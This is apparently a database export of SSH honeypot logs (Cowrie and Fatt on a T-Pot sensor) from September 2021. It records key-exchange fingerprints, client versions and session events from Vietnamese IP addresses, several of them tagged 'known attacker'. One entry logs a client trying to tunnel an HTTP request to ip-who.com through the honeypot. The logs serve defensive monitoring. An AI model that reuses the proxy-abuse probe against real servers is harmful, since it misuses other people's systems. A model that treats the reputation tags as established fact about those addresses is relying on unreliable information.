ne"}}	1	\N	cowrie.client.kex	\N	\N	\N
20845	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:14.095902+03	2021-09-20 14:15:02.898613+03	{"_id": "OQXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34194, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.095902", "@timestamp": "2021-09-20T11:06:14.095Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20846	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:14.096693+03	2021-09-20 14:15:02.899613+03	{"_id": "FQXiAnwBvYTbRNuEkfxl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "024b71a5e8c2", "@version": "1", "timestamp": "2021-09-20T11:06:14.096693Z", "@timestamp": "2021-09-20T11:06:14.096Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20856	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:14.246612+03	2021-09-20 14:15:02.912613+03	{"_id": "QwXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET /json/ HTTP/1.1\\\\r\\\\nHost: ip-who.com\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "ip-who.com", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\\\r\\\\nHost: ip-who.com\\\\r\\\\n\\\\r\\\\n'", "session": "8a9a673fb643", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:06:14.246612Z", "@timestamp": "2021-09-20T11:06:14.246Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
20847	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:14.442196+03	2021-09-20 14:15:02.900612+03	{"_id": "JgXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2f97955b344b", "@version": "1", "timestamp": "2021-09-20T11:06:14.442196Z", "@timestamp": "2021-09-20T11:06:14.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20848	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:14.440163+03	2021-09-20 14:15:02.902613+03	{"_id": "PAXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46212, "timestamp": "2021-09-20T11:06:14.440163", "@timestamp": "2021-09-20T11:06:14.440Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20849	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:14.496874+03	2021-09-20 14:15:02.903613+03	{"_id": "KQXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "cea22d976ad8", "@version": "1", "duration": 3.223799467086792, "timestamp": "2021-09-20T11:06:14.496874Z", "@timestamp": "2021-09-20T11:06:14.496Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20850	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:14.516205+03	2021-09-20 14:15:02.904614+03	{"_id": "KgXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "65aa95ad449b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:14.516205Z", "@timestamp": "2021-09-20T11:06:14.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20857	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:14.186659+03	2021-09-20 14:15:02.913613+03	{"_id": "RAXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "00c51bf68789", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:14.186659Z", "@timestamp": "2021-09-20T11:06:14.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20851	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:14.518744+03	2021-09-20 14:15:02.905613+03	{"_id": "KwXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "65aa95ad449b", "@version": "1", "timestamp": "2021-09-20T11:06:14.518744Z", "@timestamp": "2021-09-20T11:06:14.518Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20852	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:14.619883+03	2021-09-20 14:15:02.907612+03	{"_id": "LAXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a7a012468805", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:14.619883Z", "@timestamp": "2021-09-20T11:06:14.619Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20853	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:14.671514+03	2021-09-20 14:15:02.908612+03	{"_id": "LQXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "26fb2e2ff8e6", "@version": "1", "duration": 2.749994993209839, "timestamp": "2021-09-20T11:06:14.671514Z", "@timestamp": "2021-09-20T11:06:14.671Z", 